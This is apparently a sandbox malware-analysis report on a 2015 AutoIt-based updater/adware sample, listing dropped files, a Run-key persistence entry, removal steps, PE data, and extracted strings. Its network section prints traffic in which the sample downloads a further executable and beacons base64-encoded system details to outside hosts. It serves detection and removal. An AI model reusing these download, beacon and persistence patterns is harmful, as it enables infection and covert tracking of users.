%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsJSON.dll (7 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\plc4.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoA.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\geo[1] (160 bytes)
%System%\drivers\n2i1m2v2zhm5bdv.sys (2392 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\smime3.dll (3616 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\certutil.exe (3312 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\nss3.dll (12536 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\plds4.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\StdUtils.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd9.tmp (160 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss6.tmp (149698 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\nsisdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\WmiInspector.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqB.tmp (1 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\softokn3.dll (12536 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\nspr4.dll (6360 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\nss\mozcrt19.dll (23936 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.exe (71670 bytes)
%Program Files%\Sn2y1nwu1zdi5zdv\uninstall.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss7.tmp\base64.dll (3312 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"n2y1nwu1zdi5zdv" = "%Program Files%\Sn2y1nwu1zdi5zdv\n2i1m2v2zhm5bdv.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version: 3.3.14.0
Legal Copyright: Copyright 2015 GlobalUpdatesAT
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 4.09.10.0
File Description: GlobalUpdatesAT
Comments: GlobalUpdatesAT
Language: English

Company Name: Product Name: Product Version: 3.3.14.0Legal Copyright: Copyright 2015 GlobalUpdatesATLegal Trademarks: Original Filename: Internal Name: File Version: 4.09.10.0File Description: GlobalUpdatesATComments: GlobalUpdatesATLanguage: English

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	569344	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	573440	352256	351232	5.50131	648a7293879f5096be8f64eec803e8b7
.rsrc	925696	40960	38400	4.24185	8308dfffa6973a36776c8005e8c13f6a

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://upd.recordgate.com/updates/?data=eyJldmVudCI6IkFjdGl2ZSIsInByb3BlcnRpZXMiOnsidG9rZW4iOiJmZTY2NTk5MDAzNGIyNmNiZDFiNDYzMTQwNGYwNmY4ZiIsIlByb2R1Y3QgTmFtZSI6IlVwZGF0ZXJBVCIsIlByb2R1Y3QgVmVyc2lvbiI6IjQuOS4xLjAiLCJBZmZpbGlhdGUiOiIxMDAwIiwiU3ViIjoiMCIsIk9TIjoiWFAiLCJBcmNoaXRlY3R1cmUiOiJ4ODYiLCJWTSI6InZtd2FyZSIsIkFWIjoiTm9uZSIsIklzQWRtaW4iOjEsImRpc3RpbmN0X2lkIjoiNzVlZDk1NjctYWE1OC00YzhlLWE4ZWEtM2NhZDdjNDdhYjAzIn19
hxxp://a2qrgxpf5eu.data-url.com/su49oudvjmha.exe	104.27.138.25
hxxp://pijoto.net/geo/?arc=x86&os=WinXP	109.201.149.250
hxxp://upd.recordgate.com/track/?data=eyJldmVudCI6IlVwZGF0ZVJ1biIsInByb3BlcnRpZXMiOnsiZGlzdGluY3RfaWQiOiI3NWVkOTU2N2FhNTg0YzhlYThlYTNjYWQ3YzQ3YWIwMyIsInRva2VuIjoiZmU2NjU5OTAwMzRiMjZjYmQxYjQ2MzE0MDRmMDZmOGYiLCJQcm9kdWN0IE5hbWUiOiJIYWRlcyIsIlByb2R1Y3QgVmVyc2lvbiI6IjIuMDkuMjkuMCIsIkFmZmlsaWF0ZSI6IjEwMDAiLCJTdWIiOiIwIiwiSW5zdGFsbCBEYXRlIjoiMjkwOTIwMTUiLCJJbnN0YWxsIFRpbWUiOiIxNDQzNTE5MTAwIiwiVk0iOiJWTXdhcmUgVmlydHVhbCBQbGF0Zm9ybSIsIk9TIjoiV2luWFAiLCJBcmNoaXRlY3R1cmUiOiJ4ODYiLCJDb3VudHJ5IjoiVWtyYWluZSIsIlVzZXIgR3JvdXAiOiIxIiwiRG9tYWluIjoiZXUtYWFhLm5ldCIsIkRyaXZlciI6InRkaS13cHAtODYiLCJBViI6Ik5vbmUiLCJCcm93c2VyIjoiaWV4cGxvcmUuZXhlIn19
hxxp://a2qrgxpf5eu.data-url.com/hades/log/settings.json	104.27.138.25
hxxp://upd.recordgate.com/track/?data=eyJldmVudCI6IlVwZGF0ZWQiLCJwcm9wZXJ0aWVzIjp7ImRpc3RpbmN0X2lkIjoiNzVlZDk1NjdhYTU4NGM4ZWE4ZWEzY2FkN2M0N2FiMDMiLCJ0b2tlbiI6ImZlNjY1OTkwMDM0YjI2Y2JkMWI0NjMxNDA0ZjA2ZjhmIiwiUHJvZHVjdCBOYW1lIjoiSGFkZXMiLCJQcm9kdWN0IFZlcnNpb24iOiIyLjA5LjI5LjAiLCJBZmZpbGlhdGUiOiIxMDAwIiwiU3ViIjoiMCIsIkluc3RhbGwgRGF0ZSI6IjI5MDkyMDE1IiwiSW5zdGFsbCBUaW1lIjoiMTQ0MzUxOTEwMCIsIlZNIjoiVk13YXJlIFZpcnR1YWwgUGxhdGZvcm0iLCJPUyI6IldpblhQIiwiQXJjaGl0ZWN0dXJlIjoieDg2IiwiQ291bnRyeSI6IlVrcmFpbmUiLCJVc2VyIEdyb3VwIjoiMSIsIkRvbWFpbiI6ImV1LWFhYS5uZXQiLCJEcml2ZXIiOiJ0ZGktd3BwLTg2IiwiQVYiOiJOb25lIiwiQnJvd3NlciI6ImlleHBsb3JlLmV4ZSJ9fQ==
hxxp://log.data-url.com/hades/log/settings.json	104.27.138.25
hxxp://api.media-tractor.com/track/?data=eyJldmVudCI6IlVwZGF0ZWQiLCJwcm9wZXJ0aWVzIjp7ImRpc3RpbmN0X2lkIjoiNzVlZDk1NjdhYTU4NGM4ZWE4ZWEzY2FkN2M0N2FiMDMiLCJ0b2tlbiI6ImZlNjY1OTkwMDM0YjI2Y2JkMWI0NjMxNDA0ZjA2ZjhmIiwiUHJvZHVjdCBOYW1lIjoiSGFkZXMiLCJQcm9kdWN0IFZlcnNpb24iOiIyLjA5LjI5LjAiLCJBZmZpbGlhdGUiOiIxMDAwIiwiU3ViIjoiMCIsIkluc3RhbGwgRGF0ZSI6IjI5MDkyMDE1IiwiSW5zdGFsbCBUaW1lIjoiMTQ0MzUxOTEwMCIsIlZNIjoiVk13YXJlIFZpcnR1YWwgUGxhdGZvcm0iLCJPUyI6IldpblhQIiwiQXJjaGl0ZWN0dXJlIjoieDg2IiwiQ291bnRyeSI6IlVrcmFpbmUiLCJVc2VyIEdyb3VwIjoiMSIsIkRvbWFpbiI6ImV1LWFhYS5uZXQiLCJEcml2ZXIiOiJ0ZGktd3BwLTg2IiwiQVYiOiJOb25lIiwiQnJvd3NlciI6ImlleHBsb3JlLmV4ZSJ9fQ==
hxxp://api.media-tractor.com/track/?data=eyJldmVudCI6IlVwZGF0ZVJ1biIsInByb3BlcnRpZXMiOnsiZGlzdGluY3RfaWQiOiI3NWVkOTU2N2FhNTg0YzhlYThlYTNjYWQ3YzQ3YWIwMyIsInRva2VuIjoiZmU2NjU5OTAwMzRiMjZjYmQxYjQ2MzE0MDRmMDZmOGYiLCJQcm9kdWN0IE5hbWUiOiJIYWRlcyIsIlByb2R1Y3QgVmVyc2lvbiI6IjIuMDkuMjkuMCIsIkFmZmlsaWF0ZSI6IjEwMDAiLCJTdWIiOiIwIiwiSW5zdGFsbCBEYXRlIjoiMjkwOTIwMTUiLCJJbnN0YWxsIFRpbWUiOiIxNDQzNTE5MTAwIiwiVk0iOiJWTXdhcmUgVmlydHVhbCBQbGF0Zm9ybSIsIk9TIjoiV2luWFAiLCJBcmNoaXRlY3R1cmUiOiJ4ODYiLCJDb3VudHJ5IjoiVWtyYWluZSIsIlVzZXIgR3JvdXAiOiIxIiwiRG9tYWluIjoiZXUtYWFhLm5ldCIsIkRyaXZlciI6InRkaS13cHAtODYiLCJBViI6Ik5vbmUiLCJCcm93c2VyIjoiaWV4cGxvcmUuZXhlIn19
www.google-analytics.com	216.58.209.174

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /su49oudvjmha.exe HTTP/1.1

User-Agent: AutoIt

Connection: Keep-Alive

Cache-Control: no-cache

Host: a2qrgxpf5eu.data-url.com

HTTP/1.1 200 OK

Date: Tue, 29 Sep 2015 09:31:36 GMT

Content-Type: application/octet-stream

Content-Length: 2904344

Connection: keep-alive

Set-Cookie: __cfduid=dce016afb708347bb8d99de57e01212281443519096; expires=Wed, 28-Sep-16 09:31:36 GMT; path=/; domain=.data-url.com; HttpOnly

Last-Modified: Tue, 29 Sep 2015 04:35:44 GMT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 22d6ad12620b2792-FRA

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L....f.R.................\...........2.......p....@...................................,......................................s.......................7,.X............................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata.......@...........................rsrc................v..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....6B..H.P.u..u..u....r@..B...SV.5.6B..E.WP.u....r@..e...E..E.P.u....r@..}..e....Lp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Tp@..E...E.P.E.P.u....r@..u....E..9}...w....~X.te.v4..Dp@....E.tU.}.j.W.E......E.......@p@..vXW..Hp@..u..5<p@.W...E..E.h ...Pj.h..B.W...r@..u.W...u....E.P.u...\r@._^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET /updates/?data=eyJldmVudCI6IkFjdGl2ZSIsInByb3BlcnRpZXMiOnsidG9rZW4iOiJmZTY2NTk5MDAzNGIyNmNiZDFiNDYzMTQwNGYwNmY4ZiIsIlByb2R1Y3QgTmFtZSI6IlVwZGF0ZXJBVCIsIlByb2R1Y3QgVmVyc2lvbiI6IjQuOS4xLjAiLCJBZmZpbGlhdGUiOiIxMDAwIiwiU3ViIjoiMCIsIk9TIjoiWFAiLCJBcmNoaXRlY3R1cmUiOiJ4ODYiLCJWTSI6InZtd2FyZSIsIkFWIjoiTm9uZSIsIklzQWRtaW4iOjEsImRpc3RpbmN0X2lkIjoiNzVlZDk1NjctYWE1OC00YzhlLWE4ZWEtM2NhZDdjNDdhYjAzIn19 HTTP/1.1

User-Agent: AutoIt

Host: upd.recordgate.com

Cache-Control: no-cache

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Tue, 29 Sep 2015 09:31:36 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 82

Connection: close

Location: hXXp://a2qrgxpf5eu.data-url.com/su49oudvjmha.exe

Vary: Accept

Moved Permanently. Redirecting to hXXp://a2qrgxpf5eu.data-url.com/su49oudvjmha.exe..

GET /geo/?arc=x86&os=WinXP HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: pijoto.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 29 Sep 2015 09:31:40 GMT

Content-Type: application/json

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/5.3.3

Access-Control-Allow-Origin: *

a0..{"country_code":"UA","country_name":"Ukraine","date":"29092015","timestamp":"1443519100","group":1,"drv":"tdi-wpp-86","hades":"eu-aaa.net","salus":"eu-aaa.net"}..0..

GET /hades/log/settings.json HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Host: log.data-url.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 29 Sep 2015 09:31:45 GMT

Content-Type: application/octet-stream

Content-Length: 23

Connection: keep-alive

Set-Cookie: __cfduid=d06e6c9089c2a836221f6e3e246393bdf1443519105; expires=Wed, 28-Sep-16 09:31:45 GMT; path=/; domain=.data-url.com; HttpOnly

Last-Modified: Tue, 27 Jan 2015 16:00:21 GMT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 22d6ad4827e22726-FRA

{..."monitor": false..}..

GET /track/?data=eyJldmVudCI6IlVwZGF0ZWQiLCJwcm9wZXJ0aWVzIjp7ImRpc3RpbmN0X2lkIjoiNzVlZDk1NjdhYTU4NGM4ZWE4ZWEzY2FkN2M0N2FiMDMiLCJ0b2tlbiI6ImZlNjY1OTkwMDM0YjI2Y2JkMWI0NjMxNDA0ZjA2ZjhmIiwiUHJvZHVjdCBOYW1lIjoiSGFkZXMiLCJQcm9kdWN0IFZlcnNpb24iOiIyLjA5LjI5LjAiLCJBZmZpbGlhdGUiOiIxMDAwIiwiU3ViIjoiMCIsIkluc3RhbGwgRGF0ZSI6IjI5MDkyMDE1IiwiSW5zdGFsbCBUaW1lIjoiMTQ0MzUxOTEwMCIsIlZNIjoiVk13YXJlIFZpcnR1YWwgUGxhdGZvcm0iLCJPUyI6IldpblhQIiwiQXJjaGl0ZWN0dXJlIjoieDg2IiwiQ291bnRyeSI6IlVrcmFpbmUiLCJVc2VyIEdyb3VwIjoiMSIsIkRvbWFpbiI6ImV1LWFhYS5uZXQiLCJEcml2ZXIiOiJ0ZGktd3BwLTg2IiwiQVYiOiJOb25lIiwiQnJvd3NlciI6ImlleHBsb3JlLmV4ZSJ9fQ== HTTP/1.0

Host: api.media-tractor.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 29 Sep 2015 09:31:45 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 1

Connection: close

ETag: W/"1-83dcefb7"

1..

GET /track/?data=eyJldmVudCI6IlVwZGF0ZVJ1biIsInByb3BlcnRpZXMiOnsiZGlzdGluY3RfaWQiOiI3NWVkOTU2N2FhNTg0YzhlYThlYTNjYWQ3YzQ3YWIwMyIsInRva2VuIjoiZmU2NjU5OTAwMzRiMjZjYmQxYjQ2MzE0MDRmMDZmOGYiLCJQcm9kdWN0IE5hbWUiOiJIYWRlcyIsIlByb2R1Y3QgVmVyc2lvbiI6IjIuMDkuMjkuMCIsIkFmZmlsaWF0ZSI6IjEwMDAiLCJTdWIiOiIwIiwiSW5zdGFsbCBEYXRlIjoiMjkwOTIwMTUiLCJJbnN0YWxsIFRpbWUiOiIxNDQzNTE5MTAwIiwiVk0iOiJWTXdhcmUgVmlydHVhbCBQbGF0Zm9ybSIsIk9TIjoiV2luWFAiLCJBcmNoaXRlY3R1cmUiOiJ4ODYiLCJDb3VudHJ5IjoiVWtyYWluZSIsIlVzZXIgR3JvdXAiOiIxIiwiRG9tYWluIjoiZXUtYWFhLm5ldCIsIkRyaXZlciI6InRkaS13cHAtODYiLCJBViI6Ik5vbmUiLCJCcm93c2VyIjoiaWV4cGxvcmUuZXhlIn19 HTTP/1.0

Host: api.media-tractor.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 29 Sep 2015 09:31:41 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 1

Connection: close

ETag: W/"1-83dcefb7"

1..

Map

The Worm connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1156:

`.rsrc

8G.QEA

j.Yf;

r%f;M

j.Xf;

j.Zf;

PSSSSSSh

Gt.Ht$

kernel32.dll

?#%X.y

GetProcessWindowStation

operator

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is compiled without UTF support

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with Unicode property support

\N is not supported in a class

RegDeleteKeyExW

advapi32.dll

Error text not found (please report)

zcÃ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

RegDeleteKeyW

RegEnumKeyExW

RegOpenKeyExW

RegCloseKey

RegCreateKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

keybd_event

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

1!<....>

%c=/Kr

H%d=j@

.text

`.rdata

@.data

.rsrc

@.reloc

n..GGHHH

n...GGHHH

n ....HGHHHH

n ....G.HHH

~~~~{~{{{{

n!! ....HGHHHH

n!! .....HHHHHH

!!! ....GGHHH

!!"".....HHHHnv

"""...-.nv

hk.ZMP%

.CY1>

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

IPHLPAPI.DLL

MPR.dll

ole32.dll

OLEAUT32.dll

PSAPI.DLL

SHELL32.dll

USER32.dll

USERENV.dll

UxTheme.dll

VERSION.dll

WININET.dll

WINMM.dll

WSOCK32.dll

/AutoIt3ExecuteScript

/AutoIt3ExecuteLine

CMDLINE

CMDLINERAW

>>>AUTOIT NO CMDEXECUTE

FTPSETPROXY

GUICTRLRECVMSG

GUICTRLSENDMSG

GUIGETMSG

GUIREGISTERMSG

HOTKEYSET

HTTPSETPROXY

HTTPSETUSERAGENT

ISKEYWORD

MAPKEYS

MSGBOX

REGENUMKEY

SHELLEXECUTE

SHELLEXECUTEWAIT

TCPACCEPT

TCPCLOSESOCKET

TCPCONNECT

TCPLISTEN

TCPNAMETOIP

TCPRECV

TCPSEND

TCPSHUTDOWN

TCPSTARTUP

TRAYGETMSG

UDPBIND

UDPCLOSESOCKET

UDPOPEN

UDPRECV

UDPSEND

UDPSHUTDOWN

UDPSTARTUP

SendKeyDownDelay

SendKeyDelay

TCPTimeout

mscoree.dll

combase.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

789:;?

APPSKEY

WINDOWSDIR

AUTOITEXE

HOTKEYPRESSED

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

KEYS

\\?\UNC\

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

"%s" (%d) : ==> %s:

\??\%s

GUI_RUNDEFMSG

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AUTOIT.ERROR

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

3, 3, 14, 0

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.

Missing operator in expression."Unbalanced brackets in expression.

Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.#Variable subscript badly formatted.*Subscript used on non-accessible variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.

0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.K"ContinueLoop" statement with no matching "While", "Do" or "For" statement.

Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.&Cannot make existing variables static.4Cannot make static variables into regular variables.

3This keyword cannot be used after a "Then" keyword.>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.

Can not redeclare a constant.5Can not redeclare a parameter inside a user function.HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

4.09.10.0

3.3.14.0

%original file name%.exe_1156_rwx_00401000_000E0000:

j.Yf;

r%f;M

j.Xf;

j.Zf;

PSSSSSSh

Gt.Ht$

kernel32.dll

?#%X.y

GetProcessWindowStation

operator

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is compiled without UTF support

PCRE does not support \L, \l, \N{name}, \U, or \u

support for \P, \p, and \X has not been compiled

this version of PCRE is not compiled with Unicode property support

\N is not supported in a class

RegDeleteKeyExW

advapi32.dll

Error text not found (please report)

zcÃ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

RegDeleteKeyW

RegEnumKeyExW

RegOpenKeyExW

RegCloseKey

RegCreateKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

ExitWindowsEx

EnumThreadWindows

keybd_event

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

VkKeyScanW

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

UnregisterHotKey

InternetCrackUrlW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpOpenFileW

FtpGetFileSize

InternetOpenUrlW

1!<....>

%c=/Kr

H%d=j@

.text

`.rdata

@.data

.rsrc

@.reloc

/AutoIt3ExecuteScript

/AutoIt3ExecuteLine

CMDLINE

CMDLINERAW

>>>AUTOIT NO CMDEXECUTE

FTPSETPROXY

GUICTRLRECVMSG

GUICTRLSENDMSG

GUIGETMSG

GUIREGISTERMSG

HOTKEYSET

HTTPSETPROXY

HTTPSETUSERAGENT

ISKEYWORD

MAPKEYS

MSGBOX

REGENUMKEY

SHELLEXECUTE

SHELLEXECUTEWAIT

TCPACCEPT

TCPCLOSESOCKET

TCPCONNECT

TCPLISTEN

TCPNAMETOIP

TCPRECV

TCPSEND

TCPSHUTDOWN

TCPSTARTUP

TRAYGETMSG

UDPBIND

UDPCLOSESOCKET

UDPOPEN

UDPRECV

UDPSEND

UDPSHUTDOWN

UDPSTARTUP

SendKeyDownDelay

SendKeyDelay

TCPTimeout

mscoree.dll

combase.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

USER32.DLL

789:;?

APPSKEY

WINDOWSDIR

AUTOITEXE

HOTKEYPRESSED

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

KEYS

\\?\UNC\

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

"%s" (%d) : ==> %s:

\??\%s

GUI_RUNDEFMSG

AUTOITCALLVARIABLE%d

255.255.255.255

Keyword

AUTOIT.ERROR

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

3, 3, 14, 0

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

Missing operator in expression."Unbalanced brackets in expression.

0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

String missing closing quote.!Badly formated variable or macro.*Missing separator character after keyword.

n2i1m2v2zhm5bdv.exe_1964:

.text

`.rdata

@.data

.rsrc

@.reloc

.hp~[

ssh(DW

vSSSh

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

RWj%Sj

FTPj

|$@3|$

3|$

$u.hl

FtPS

kernel32.dll

Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag

.\SSL\SSLDataProvider.cpp

HMNUUUUUZ]isu)9FIU\`iv""',5@NY^jopt%',

1.2.1

1.3.6.1.5.5.7.3.1

1.3.6.1.4.1.311.10.3.3

2.16.840.1.113730.4.1

File-Count: %d

Total-Bytes: %d

File-Name: %s

DHNXXXXX\ix'38BMOQQX[ans * 47=GGMX`ivv{|LQST^mz}!(6=LWZilx}-.1@FOWZeox&//2AMTbely)6@LORY]jw&3:>CHLQYfguz") 4@NZeq )7=BO^_mrtv'*,:EQXdd

CRTYYYYYalp})-

PORT

504 Unsupported transfer mode

504 Unsupported command

PORT

HTTP/1.

http/1.

DRYZZZZZ\jryy}%/1>@DLM\`ddit}}%,78DDMZbqq|,9HIVclmu".8@FOQYfly$**4:ABBGMYht")0>DNZ`ep}.15C

HHLVVVVV[[cr}}#-1AGM[_clqt!&3@ABEHNNX\`cgn} "$ 2;ALP_fuw%)*6AGIRZbhttF9DNNY

ENNWWWWW_`jkwz|"*5@N\\ahtF77

NSVaaaaagv{ /1@JSadnx(-6ADESUZist}%*.9

LPTaaaaaky!FOQZaou$18=JMZbinz -6CKLY]

Visual C CRT: Not enough memory to complete call to strerror.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

operator

GetProcessWindowStation

USER32.DLL

ADVAPI32.DLL

Line %d, Column %d

Error from reader: %s

%s - %s

%s - %s - T:0x%x - %s:L%d

d/d/d d:d:d.d

OpenSSL 1.0.1g 7 Apr 2014

wrong number of key bits

unsupported status type

unsupported ssl version

unsupported protocol

unsupported elliptic curve

unsupported digest type

unsupported compression algorithm

unsupported cipher

unknown pkey type

unknown key exchange type

unknown certificate type

unable to find public key parameters

unable to extract public key

unable to decode ecdh certs

unable to decode dh certs

tried to use unsupported cipher

tls peer did not respond with certificate list

tls illegal exporter label

tls client cert req with anon cipher

tlsv1 unsupported extension

tlsv1 certificate unobtainable

tlsv1 bad certificate status response

tlsv1 bad certificate hash value

tlsv1 alert export restriction

sslv3 alert unsupported certificate

sslv3 alert no certificate

sslv3 alert certificate unknown

sslv3 alert certificate revoked

sslv3 alert certificate expired

sslv3 alert bad certificate

signature for non signing certificate

reuse cert type not zero

reuse cert length not zero

public key not rsa

public key is not rsa

public key encrypt error

peer error unsupported certificate type

peer error no certificate

peer error certificate

peer did not return a certificate

null ssl method passed

no publickey

no private key assigned

no privatekey

Peer haven't sent GOST certificate, required for selected ciphersuite

no client cert received

no client cert method

no ciphers passed

no certificate specified

no certificate set

no certificate returned

no certificate assigned

no certificates returned

missing tmp rsa pkey

missing tmp rsa key

missing tmp ecdh key

missing tmp dh key

missing rsa signing cert

missing rsa encrypting cert

missing rsa certificate

missing export tmp rsa key

missing export tmp dh key

missing dsa signing cert

missing dh rsa cert

missing dh key

missing dh dsa cert

krb5 server rd_req (keytab perms?)

key arg too long

invalid ticket keys length

http request

https proxy request

error generating tmp rsa key

ecc cert should have sha1 signature

ecc cert should have rsa signature

ecc cert not for signing

ecc cert not for key agreement

